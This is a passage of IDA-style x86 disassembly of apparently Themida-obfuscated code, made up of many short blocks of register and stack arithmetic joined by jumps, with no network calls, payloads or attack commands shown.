; ---------------------------------------------------------------------------


loc_54F123:				; CODE XREF: Themida_:00544AD5j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54DF74
; ---------------------------------------------------------------------------


loc_54F131:				; CODE XREF: Themida_:0054E513j
		mov	edx, [esp]
		jmp	loc_54B435
; ---------------------------------------------------------------------------


loc_54F139:				; CODE XREF: Themida_:00547245j
		pop	esi
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	71D4h
		mov	[esp], ebx
		jmp	loc_5469D3
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_54A6FD
; ---------------------------------------------------------------------------


loc_54F161:				; CODE XREF: Themida_:00544511j
		xor	esi, 779076DAh
		jmp	loc_549A3E
; ---------------------------------------------------------------------------


loc_54F16C:				; CODE XREF: Themida_:00544AE3j
		not	ebp
		jmp	loc_54EFB9
; ---------------------------------------------------------------------------


loc_54F173:				; CODE XREF: Themida_:005468A7j
		sub	dword ptr [esp], 3AB462CBh
		sub	[esp], edi
		add	dword ptr [esp], 3AB462CBh
		pop	edi
		sub	edi, 197D4036h
		jmp	loc_54AFA5
; ---------------------------------------------------------------------------


loc_54F190:				; CODE XREF: Themida_:0054656Fj
		xor	ebx, ecx
		xor	ecx, ebx
		jmp	loc_54BEEC
; ---------------------------------------------------------------------------


loc_54F199:				; CODE XREF: Themida_:00548FB8j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54F19E:				; CODE XREF: Themida_:0054DA20j
		mov	eax, 49711CEDh
		dec	eax
		jmp	loc_544CB1
; ---------------------------------------------------------------------------


loc_54F1A9:				; CODE XREF: Themida_:0054AB97j
		push	eax
		mov	eax, esp
		jmp	loc_54DDFC
; ---------------------------------------------------------------------------


loc_54F1B1:				; CODE XREF: Themida_:0054D5FEj
		pop	edi
		add	ebx, ebp
		sub	ebx, 1DA71E18h
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, eax
		sub	ebx, 7475756Ch
		push	ecx
		jmp	loc_548E78
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		jmp	loc_544D42
; ---------------------------------------------------------------------------


loc_54F1F9:				; CODE XREF: Themida_:0054F330j
		push	small 763h
		mov	[esp], cx
		mov	ch, bh
		not	ch
		push	eax
		mov	al, ch
		mov	bh, al
		pop	eax
		jmp	loc_547109
; ---------------------------------------------------------------------------


loc_54F210:				; CODE XREF: Themida_:005497ADj
		mov	esi, ebp
		jmp	loc_54C590
; ---------------------------------------------------------------------------


loc_54F217:				; CODE XREF: Themida_:0054A593j
		shl	eax, 5
		or	eax, 19BD4393h
		add	eax, 0E642A411h
		mov	ebp, eax
		pop	eax
		sub	esi, 4DAC7A14h
		sub	esi, 2B1B64A4h
		add	esi, ebp
		add	esi, 2B1B64A4h
		add	esi, 4DAC7A14h
		pop	ebp
		jmp	loc_548EBF
; ---------------------------------------------------------------------------


loc_54F247:				; CODE XREF: Themida_:0054DB5Fj
		sub	[esp+4], bp
		pop	bp
		add	[esp+2], cx
		jmp	loc_548311
; ---------------------------------------------------------------------------


loc_54F258:				; CODE XREF: Themida_:00546BE3j
		sub	esp, 4
		jmp	loc_549386
; ---------------------------------------------------------------------------


loc_54F260:				; CODE XREF: Themida_:00544247j
		push	dx
		push	ecx
		mov	cl, 45h
		jmp	loc_550086
; ---------------------------------------------------------------------------


loc_54F26A:				; CODE XREF: Themida_:0054A749j
		mov	eax, [esp]
		jmp	loc_544A5B
; ---------------------------------------------------------------------------


loc_54F272:				; CODE XREF: Themida_:00544B5Aj
		mov	[esp], esi
		push	20000h
		mov	esi, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_548EAA
; ---------------------------------------------------------------------------


loc_54F28B:				; CODE XREF: Themida_:0054B109j
		mov	bh, 38h
		or	dl, bh
		pop	bx
		or	dl, 96h
		jmp	loc_54FC87
; ---------------------------------------------------------------------------


loc_54F299:				; CODE XREF: Themida_:0054CCF6j
		xor	ecx, esi
		pop	esi
		and	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54DC3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54EAB8


loc_54F2A9:				; CODE XREF: sub_54EAB8-2712j
		shl	dl, 7
		jmp	sub_545BCC
; END OF FUNCTION CHUNK	FOR sub_54EAB8
; ---------------------------------------------------------------------------


loc_54F2B1:				; CODE XREF: Themida_:00545716j
		xor	cl, 0AAh
		sub	al, cl
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54CEA8
; ---------------------------------------------------------------------------


loc_54F2C0:				; CODE XREF: Themida_:0054B7B4j
		push	ecx
		mov	cl, 7Ah
		and	cl, 94h
		inc	cl
		and	cl, 88h
		xor	cl, 8
		add	ah, 4
		add	ah, cl
		sub	ah, 4
		pop	ecx
		sub	bl, ah
		pop	eax
		push	ebp
		jmp	loc_544987
; ---------------------------------------------------------------------------


loc_54F2E0:				; CODE XREF: Themida_:00548820j
		mov	eax, [esp]
		jmp	loc_54D01E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	129Fh
		jmp	loc_54B3D0
; ---------------------------------------------------------------------------


loc_54F2F6:				; CODE XREF: Themida_:00548D10j
		add	[esp+4], edx
		pop	edx
		mov	edi, [esp]
		push	7C2Dh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5461E3
; ---------------------------------------------------------------------------


loc_54F312:				; CODE XREF: Themida_:00548B7Fj
		push	esi
		mov	esi, 4
		jmp	loc_545476
; ---------------------------------------------------------------------------


loc_54F31D:				; CODE XREF: Themida_:00545806j
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		push	eax
		jmp	loc_54BEDE
; ---------------------------------------------------------------------------


loc_54F32B:				; CODE XREF: Themida_:0054C10Dj
		mov	bh, 0BDh
		sub	bh, 1
		jmp	loc_54F1F9
; ---------------------------------------------------------------------------


loc_54F335:				; CODE XREF: Themida_:00549AD0j
		push	esi
		push	2
		pop	esi
		add	ebx, esi
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		inc	word ptr [esp]
		pushf
		jmp	loc_548B93
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	6CE0h
		mov	[esp], edi
		jmp	loc_54C33F
; ---------------------------------------------------------------------------


loc_54F371:				; CODE XREF: Themida_:0054A9A2j
		sub	esp, 4
		mov	[esp], esi
		mov	eax, [esp]
		push	937h
		mov	[esp], ebx
		push	esp
		pop	ebx
		sub	esp, 4
		jmp	loc_54615D
; ---------------------------------------------------------------------------


loc_54F392:				; CODE XREF: Themida_:0054C502j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54D679
; ---------------------------------------------------------------------------


loc_54F39B:				; CODE XREF: Themida_:0054701Cj
		push	edx
		mov	edx, 72D76003h
		add	edx, 1
		sub	edx, 0FFFFFFFFh
		shr	edx, 3
		xor	edx, 6E7FF6CAh
		sub	esi, 44665AB1h
		add	esi, edx
		jmp	loc_544E12
; ---------------------------------------------------------------------------


loc_54F3C0:				; CODE XREF: Themida_:00546923j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_54B8A1
; ---------------------------------------------------------------------------


loc_54F3D1:				; CODE XREF: Themida_:0054C066j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		or	[esp], ax
		pushf
		jmp	loc_544833
; ---------------------------------------------------------------------------


loc_54F3E4:				; CODE XREF: Themida_:00544737j
		pop	ecx
		sub	edx, 76274E99h
		add	edx, esi
		add	edx, 76274E99h
		pop	esi
		add	edx, 2
		jmp	loc_54BF27
; ---------------------------------------------------------------------------


loc_54F3FC:				; CODE XREF: Themida_:00544B10j
		inc	edx
		sub	edx, 0CEDCF9C8h
		add	ebp, edx
		jmp	loc_5476F4
; ---------------------------------------------------------------------------


loc_54F40A:				; CODE XREF: Themida_:00544CFEj
		push	486Dh
		jmp	loc_549777
; ---------------------------------------------------------------------------


loc_54F414:				; CODE XREF: Themida_:0054E4CCj
		add	dword ptr [esp], 1
		mov	eax, [esp]
		add	esp, 4
		shr	eax, 2
		push	ebp
		mov	ebp, 3A065089h
		xor	eax, ebp
		pop	ebp
		push	eax
		add	dword ptr [esp], 3DCA171Fh
		jmp	loc_548E1B
; ---------------------------------------------------------------------------


loc_54F43D:				; CODE XREF: Themida_:0054515Bj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54F446:				; CODE XREF: Themida_:00549984j
		push	edi
		mov	edi, 2DEB7F88h
		shr	edi, 8
		jmp	loc_54689C
; ---------------------------------------------------------------------------


loc_54F454:				; CODE XREF: Themida_:0054C49Aj
		add	esi, edx
		pop	edx
		mov	edi, [esp]
		add	esp, 4
		push	0
		mov	ebx, [esp]
		push	eax
		jmp	loc_54B7F4
; ---------------------------------------------------------------------------


loc_54F46E:				; CODE XREF: Themida_:00546647j
		push	ecx
		mov	ecx, esp
		jmp	loc_54A509
; ---------------------------------------------------------------------------


loc_54F476:				; CODE XREF: Themida_:0054C356j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54BD65
; ---------------------------------------------------------------------------


loc_54F48E:				; CODE XREF: Themida_:0054B35Aj
		pop	edx
		jmp	loc_5470F3
; ---------------------------------------------------------------------------
		lodsd
		push	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 21AA43FFh
		or	ecx, 45E64EBCh
		add	ecx, 0D441609h
		jmp	loc_5498A9
; ---------------------------------------------------------------------------


loc_54F4B2:				; CODE XREF: Themida_:00546FB2j
		xor	esi, edx
		jmp	loc_54DD5A
; ---------------------------------------------------------------------------


loc_54F4B9:				; CODE XREF: Themida_:00547E7Ej
		mov	ebp, 1
		add	ebx, ebp
		pop	ebp
		add	ebx, 4D1BB2B7h
		mov	edx, ebx
		mov	ebx, [esp]
		push	edx
		jmp	loc_5461C8
; ---------------------------------------------------------------------------


loc_54F4D2:				; CODE XREF: Themida_:005487D8j
		mov	edi, [esp]
		add	esp, 4
		add	esi, eax
		pop	eax
		add	esi, 3AE644Fh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 96C47D9h
		push	ebp
		push	edx
		push	3A924E6Ch
		pop	edx
		dec	edx
		shl	edx, 7
		add	edx, 0BEBE315Fh
		mov	ebp, edx
		pop	edx
		jmp	loc_54F8A7
; ---------------------------------------------------------------------------


loc_54F506:				; CODE XREF: Themida_:0054F592j
		mov	ch, 0D5h
		add	ch, 1
		add	ch, 1
		dec	ch
		sub	ch, 0B3h
		sub	dh, ch
		pop	ecx
		xor	dh, 19h
		add	bl, dh
		jmp	loc_54AED5
; ---------------------------------------------------------------------------


loc_54F520:				; CODE XREF: Themida_:0054D186j
		mov	dx, [esp]
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	4
		pop	ecx
		add	eax, ecx
		pop	ecx
		push	edi
		push	edx
		jmp	loc_54E951
; ---------------------------------------------------------------------------


loc_54F53D:				; CODE XREF: Themida_:0054A311j
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], ecx
		push	7D18h
		mov	[esp], eax
		push	276F5D62h
		pop	eax
		push	edi
		mov	edi, 644446BFh
		add	eax, edi
		jmp	loc_54DE66
; ---------------------------------------------------------------------------


loc_54F561:				; CODE XREF: Themida_:0054A141j
		mov	[esp], eax
		jmp	loc_54C40F
; ---------------------------------------------------------------------------


loc_54F569:				; CODE XREF: Themida_:00549E2Aj
		xor	edx, 60BB729Dh
		and	edi, edx
		jmp	loc_54FF99
; ---------------------------------------------------------------------------


loc_54F576:				; CODE XREF: Themida_:0054E042j
		add	ecx, edx
		sub	ecx, 32F473F6h
		jmp	loc_548D43
; ---------------------------------------------------------------------------


loc_54F583:				; CODE XREF: Themida_:0054CFDCj
		and	ebp, edx
		pop	edx
		jmp	loc_54D382
; ---------------------------------------------------------------------------


loc_54F58B:				; CODE XREF: Themida_:005486AAj
		push	esi
		jmp	loc_54655E
; ---------------------------------------------------------------------------


loc_54F591:				; CODE XREF: Themida_:00544A6Ej
		push	ecx
		jmp	loc_54F506
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_54C7A9
; ---------------------------------------------------------------------------


loc_54F59D:				; CODE XREF: Themida_:0054D92Fj
		push	eax
		mov	eax, esp
		push	esi
		push	ecx
		mov	ecx, 1E5B0F8Fh
		jmp	loc_54505A
; ---------------------------------------------------------------------------


loc_54F5AC:				; CODE XREF: Themida_:00548587j
		sub	eax, 7E9D791Ah
		add	eax, esi
		add	eax, 7E9D791Ah
		jmp	loc_54CDCD
; ---------------------------------------------------------------------------


loc_54F5BD:				; CODE XREF: Themida_:0054DC88j
		xor	edx, 977EDA03h
		xor	eax, edx
		mov	edx, [esp]
		jmp	loc_54CE49
; ---------------------------------------------------------------------------


loc_54F5CD:				; CODE XREF: Themida_:00546ED7j
		push	esp
		pop	edi
		jmp	loc_54D1B2
; ---------------------------------------------------------------------------


loc_54F5D4:				; CODE XREF: Themida_:00548656j
		push	11A07537h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5457A5
; ---------------------------------------------------------------------------


loc_54F5E4:				; CODE XREF: Themida_:00544988j
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	dl, al
		jmp	loc_5478CB
; ---------------------------------------------------------------------------


loc_54F605:				; CODE XREF: Themida_:0054A73Cj
		shl	ch, 4
		shl	ch, 6
		not	ch
		add	ch, 54h
		push	ax
		mov	ah, 0CCh
		add	ch, ah
		pop	ax
		jmp	loc_54D779
; ---------------------------------------------------------------------------


loc_54F61D:				; CODE XREF: Themida_:0054FFA5j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	edx, eax
		add	edx, 1D157B2Dh
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54F631:				; CODE XREF: Themida_:005474E2j
		pop	dword ptr [esp]
		pop	esp
		add	ebx, ebp
		pop	ebp
		sub	ebx, 3483EEFh
		jmp	loc_544AC5
; ---------------------------------------------------------------------------


loc_54F643:				; CODE XREF: Themida_:0054AB26j
		sub	esi, 11D24C00h
		pop	ebp
		jmp	loc_54FC0D
; ---------------------------------------------------------------------------


loc_54F64F:				; CODE XREF: Themida_:005461C3j
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5440C6
; ---------------------------------------------------------------------------


loc_54F658:				; CODE XREF: Themida_:0054F997j
		shr	ecx, 0Ah
		push	ecx
		sub	esp, 4
		jmp	loc_54F9C9
; ---------------------------------------------------------------------------


loc_54F664:				; CODE XREF: Themida_:00548DE6j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		push	edi
		jmp	loc_5467F1
; ---------------------------------------------------------------------------


loc_54F685:				; CODE XREF: Themida_:00549FECj
		add	ebx, 4
		jmp	loc_545B49
; ---------------------------------------------------------------------------


loc_54F690:				; CODE XREF: Themida_:00544796j
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 3CE57149h
		push	edi
		mov	edi, 6BCE165Ch
		jmp	loc_5497F4
; ---------------------------------------------------------------------------


loc_54F6A7:				; CODE XREF: Themida_:00547873j
		mov	ecx, 4
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 0D093600h
		jmp	loc_544391
; ---------------------------------------------------------------------------


loc_54F6CC:				; CODE XREF: Themida_:0054C7BDj
		push	edi
		mov	edi, 2EA44FEBh
		inc	edi
		dec	edi
		add	edi, 31B1506Dh
		add	edi, 0F5BF786Eh
		add	ebx, edi
		pop	edi
		add	ebx, 66FC7FD2h
		push	5192h
		jmp	loc_54E64D
; ---------------------------------------------------------------------------


loc_54F6F3:				; CODE XREF: Themida_:005482D9j
		pop	esp
		push	22C4h
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_54424C
; ---------------------------------------------------------------------------


loc_54F703:				; CODE XREF: Themida_:0054CC16j
		push	7921h
		mov	[esp], ecx
		jmp	loc_548163
; ---------------------------------------------------------------------------


loc_54F710:				; CODE XREF: Themida_:005487C5j
		xchg	eax, [esp]
		pop	esp
		or	dl, 0FDh
		jmp	loc_54AC37
; ---------------------------------------------------------------------------


loc_54F71C:				; CODE XREF: Themida_:005457C6j
		add	esp, 4
		push	edi
		mov	edi, esi
		mov	ebx, edi
		jmp	loc_545398
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545BCC


loc_54F729:				; CODE XREF: sub_545BCC+5536j
		push	1FB2h
		mov	[esp+2+var_4+2], ebx
		mov	bl, 40h
		sub	al, bl
		jmp	loc_5444DA
; END OF FUNCTION CHUNK	FOR sub_545BCC
; ---------------------------------------------------------------------------


loc_54F73A:				; CODE XREF: Themida_:00545566j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54F73F:				; CODE XREF: Themida_:0054E8CCj
		pop	edx
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		push	esi
		jmp	loc_54ABF6
; ---------------------------------------------------------------------------


loc_54F755:				; CODE XREF: Themida_:0054877Bj
		sub	al, 43h
		jmp	loc_546501
; ---------------------------------------------------------------------------


loc_54F75C:				; CODE XREF: Themida_:005475E6j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_547021
; ---------------------------------------------------------------------------


loc_54F76A:				; CODE XREF: Themida_:00544183j
		push	ebx
		mov	ebx, 3ADD0726h
		xor	edi, ebx
		pop	ebx
		jmp	loc_549432
; ---------------------------------------------------------------------------


loc_54F778:				; CODE XREF: Themida_:00547625j
		mov	dl, 2
		and	dl, 0A9h
		sub	dl, 54h
		not	dl
		or	dl, 2Eh
		jmp	loc_545083
; ---------------------------------------------------------------------------


loc_54F78A:				; CODE XREF: Themida_:00548D05j
		pop	eax
		add	esp, 4
		add	esp, 4
		push	ecx
		mov	ecx, edx
		mov	eax, ecx
		pop	ecx
		jmp	loc_549067
; ---------------------------------------------------------------------------


loc_54F79F:				; CODE XREF: Themida_:00549C38j
		pop	edx
		push	ebp
		push	ecx
		push	edx
		mov	edx, 624A3627h
		not	edx
		neg	edx
		or	edx, 30337D31h
		and	edx, 705D79B7h
		sub	edx, 7059792Dh
		mov	ecx, edx
		pop	edx
		push	esi
		mov	esi, ecx
		jmp	loc_54EACA
; ---------------------------------------------------------------------------


loc_54F7C9:				; CODE XREF: Themida_:0054AEA9j
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	ecx, 0
		or	eax, eax
		jz	loc_547B5B
		push	3D0Dh
		mov	[esp], ebx
		push	7D36h
		jmp	loc_54B6BF
; ---------------------------------------------------------------------------


loc_54F7F0:				; CODE XREF: Themida_:00544D5Cj
		mov	eax, [esp]
		push	ecx
		jmp	loc_54D00B
; ---------------------------------------------------------------------------


loc_54F7F9:				; CODE XREF: Themida_:0054CC7Bj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54F810:				; CODE XREF: Themida_:0054EAFAj
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_546F08
; ---------------------------------------------------------------------------


loc_54F81E:				; CODE XREF: Themida_:005443F9j
		pop	eax
		add	ecx, 2
		jmp	loc_54FC27
; ---------------------------------------------------------------------------


loc_54F827:				; CODE XREF: Themida_:00547B72j
		sub	ebp, 6F3F6181h
		jmp	loc_5497C4
; ---------------------------------------------------------------------------


loc_54F832:				; CODE XREF: Themida_:0054D405j
		mov	edi, 4
		sub	ebx, 3B28615Dh
		add	ebx, 135717F7h
		add	ebx, edi
		sub	ebx, 135717F7h
		push	edi
		mov	edi, 3B28615Dh
		add	ebx, edi
		jmp	loc_54DCEF
; ---------------------------------------------------------------------------


loc_54F858:				; CODE XREF: Themida_:0054D594j
		push	edx
		jmp	loc_5461AE
; ---------------------------------------------------------------------------


loc_54F85E:				; CODE XREF: Themida_:00548129j
		push	ebx
		mov	ebx, 2
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_544CCB
; ---------------------------------------------------------------------------


loc_54F870:				; CODE XREF: Themida_:00548AC9j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54F87B:				; CODE XREF: Themida_:0054D5A5j
		mov	edx, 4
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	esi
		jmp	loc_54AF6F
; ---------------------------------------------------------------------------


loc_54F894:				; CODE XREF: Themida_:005488B0j
		pop	cx
		inc	ch
		shl	ch, 8
		push	bx
		push	ecx
		mov	ch, 0F3h
		mov	bh, ch
		jmp	loc_54442D
; ---------------------------------------------------------------------------


loc_54F8A7:				; CODE XREF: Themida_:0054F501j
		sub	eax, ebp
		pop	ebp
		inc	eax
		dec	eax
		sub	eax, 4EBF657Ah
		jmp	loc_547545
; ---------------------------------------------------------------------------


loc_54F8B6:				; CODE XREF: Themida_:0054A013j
		mov	ebp, 4
		sub	dword ptr [esp+4], 61777AB1h
		jmp	loc_54C3FA
; ---------------------------------------------------------------------------


loc_54F8C8:				; CODE XREF: Themida_:0054C0E9j
		mov	dword ptr [edx+38h], 3CAE0AB3h
		neg	dword ptr [edx+38h]
		jmp	loc_54F060
; ---------------------------------------------------------------------------


loc_54F8D7:				; CODE XREF: Themida_:0054D1ADj
		sub	ebp, ecx
		mov	ecx, ebp
		pop	ebp
		push	esi
		jmp	loc_54AEE6
; ---------------------------------------------------------------------------


loc_54F8E2:				; CODE XREF: Themida_:00546114j
		sub	eax, 413B6CA7h
		jmp	loc_54A543
; ---------------------------------------------------------------------------


loc_54F8EC:				; CODE XREF: Themida_:0054B72Fj
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	1DF3h
		mov	[esp], ebp
		jmp	loc_54EEEC
; ---------------------------------------------------------------------------


loc_54F902:				; CODE XREF: Themida_:00547D2Dj
		xor	ebp, 53ECD23Ah
		add	edx, ebp
		jmp	loc_547C7B
; ---------------------------------------------------------------------------


loc_54F90F:				; CODE XREF: Themida_:0054D4B8j
		dec	eax
		jmp	loc_54E115
; ---------------------------------------------------------------------------


loc_54F915:				; CODE XREF: Themida_:0054827Aj
		pop	edi
		xor	esi, ebx
		pop	ebx
		sub	eax, esi
		jmp	loc_545C10
; ---------------------------------------------------------------------------


loc_54F920:				; CODE XREF: Themida_:0054903Ej
		pop	ebp
		jmp	loc_549695
; ---------------------------------------------------------------------------


loc_54F926:				; CODE XREF: Themida_:0054E0CAj
		mov	ebp, 521862C9h
		push	ecx
		jmp	loc_5470CD
; ---------------------------------------------------------------------------


loc_54F931:				; CODE XREF: Themida_:0054FE68j
		add	esp, 4
		jmp	loc_54A1FA
; ---------------------------------------------------------------------------


loc_54F939:				; CODE XREF: Themida_:005469C8j
		add	esp, 4
		jmp	loc_545636
; ---------------------------------------------------------------------------


loc_54F941:				; CODE XREF: Themida_:0054C71Fj
		mov	dl, 9Ch
		add	dl, 0EBh
		jmp	loc_545DE7
; ---------------------------------------------------------------------------


loc_54F94B:				; CODE XREF: Themida_:00545D79j
		and	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 45AB73E7h
		and	esi, 29A77746h
		add	esi, 10E064E7h
		shr	esi, 2
		inc	esi
		add	esi, 44ED5E44h
		and	ecx, esi
		pop	esi
		dec	ecx
		push	ebx
		mov	ebx, 160E300Eh
		and	ecx, ebx
		pop	ebx
		push	eax
		jmp	loc_546201
; ---------------------------------------------------------------------------


loc_54F982:				; CODE XREF: Themida_:0054D7AEj
		shl	edx, 8
		xor	edx, 79389D01h
		sub	edi, edx
		pop	edx
		add	edi, 0C394F1F2h
		and	ecx, edi
		pop	edi
		jmp	loc_54F658
; ---------------------------------------------------------------------------


loc_54F99C:				; CODE XREF: Themida_:0054A813j
		add	esp, 4
		add	esp, 4
		jmp	loc_549568
; ---------------------------------------------------------------------------


loc_54F9A7:				; CODE XREF: Themida_:0054DE44j
		mov	ecx, 17C14EBCh
		xor	ecx, 1DEA7283h
		sub	ebx, ecx
		pop	ecx
		add	ebp, ebx
		pop	ebx
		push	edi
		mov	edi, 152913ECh
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		jmp	loc_54A356
; ---------------------------------------------------------------------------


loc_54F9C9:				; CODE XREF: Themida_:0054F65Fj
		mov	[esp], ebx
		jmp	loc_547592
; ---------------------------------------------------------------------------


loc_54F9D1:				; CODE XREF: Themida_:005480FBj
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		jmp	loc_546C5C
; ---------------------------------------------------------------------------


loc_54F9F1:				; CODE XREF: Themida_:00546658j
		push	edx
		push	eax
		jmp	loc_547F3A
; ---------------------------------------------------------------------------
		push	6908h
		mov	[esp], eax
		push	edi
		jmp	loc_547821
; ---------------------------------------------------------------------------


loc_54FA06:				; CODE XREF: Themida_:0054FA85j
		mov	edi, 125F22B1h
		add	esi, edi
		pop	edi
		jmp	loc_54958B
; ---------------------------------------------------------------------------


loc_54FA13:				; CODE XREF: Themida_:0054E55Dj
		mov	edi, [esp]
		add	esp, 4
		push	eax
		push	ecx
		pop	eax
		jmp	loc_545881
; ---------------------------------------------------------------------------


loc_54FA24:				; CODE XREF: Themida_:0054ECB8j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54B422
; ---------------------------------------------------------------------------


loc_54FA32:				; CODE XREF: Themida_:00547956j
		shl	edx, 6
		push	ebx
		jmp	loc_54E31E
; ---------------------------------------------------------------------------


loc_54FA3B:				; CODE XREF: Themida_:00549356j
		pop	ecx
		pop	esi
		add	esi, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_54628E
; ---------------------------------------------------------------------------


loc_54FA4E:				; CODE XREF: Themida_:0054E452j
		push	eax
		mov	eax, 265913F8h
		push	edx
		mov	edx, 326D14D5h
		jmp	loc_5440EB
; ---------------------------------------------------------------------------


loc_54FA5F:				; CODE XREF: Themida_:0054A221j
		xchg	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	edi
		push	ebp
		mov	ebp, 76F00ABAh
		mov	edi, ebp
		pop	ebp
		jmp	loc_54C7C2
; ---------------------------------------------------------------------------


loc_54FA77:				; CODE XREF: Themida_:00547ABCj
		mov	[esp], ebp
		mov	ebp, 36926E3Fh
		jmp	loc_547A2C
; ---------------------------------------------------------------------------


loc_54FA84:				; CODE XREF: Themida_:00546A7Bj
		push	edi
		jmp	loc_54FA06
; ---------------------------------------------------------------------------


loc_54FA8A:				; CODE XREF: Themida_:00546E89j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 43EB4A05h
		push	edx
		not	dword ptr [esp]
		pop	edx
		jmp	loc_5496D7
; ---------------------------------------------------------------------------


loc_54FAA3:				; CODE XREF: Themida_:00547A80j
		pop	edx
		sub	esp, 4
		jmp	loc_54716F
; ---------------------------------------------------------------------------


loc_54FAAF:				; CODE XREF: Themida_:0054F044j
		push	ebp
		mov	bp, 2AA4h
		shl	bp, 2
		dec	bp
		inc	bp
		sub	bp, 6869h
		jmp	loc_546539
; ---------------------------------------------------------------------------


loc_54FAC6:				; CODE XREF: Themida_:0054ECEFj
		add	ebp, 4
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		mov	bh, dl
		push	ecx
		push	eax
		mov	ah, bh
		push	edx
		mov	dh, ah
		mov	ch, dh
		mov	edx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		mov	[edi+eax*4+1], ch
		pop	ecx
		mov	ebx, [esp]
		push	esi
		jmp	loc_54944A
; ---------------------------------------------------------------------------


loc_54FB07:				; CODE XREF: Themida_:00549769j
		push	edx
		jmp	loc_5443D3
; ---------------------------------------------------------------------------


loc_54FB0D:				; CODE XREF: Themida_:00544689j
		mov	edi, 15202CCh
		sub	ecx, edi
		pop	edi
		mov	edx, ecx
		jmp	loc_54C9EC
; ---------------------------------------------------------------------------


loc_54FB1C:				; CODE XREF: Themida_:0054ED68j
		sub	dword ptr [esp+8], 2A68748Fh
		add	[esp+8], edi
		add	dword ptr [esp+8], 2A68748Fh
		pop	edi
		jmp	loc_54E96A
; ---------------------------------------------------------------------------


loc_54FB36:				; CODE XREF: Themida_:0054D196j
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_5496E3
; ---------------------------------------------------------------------------


loc_54FB44:				; CODE XREF: Themida_:00545A3Cj
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	66D7h
		mov	[esp], esp
		jmp	loc_54F03A
; ---------------------------------------------------------------------------


loc_54FB59:				; CODE XREF: Themida_:005445EDj
		xchg	esi, [esp]
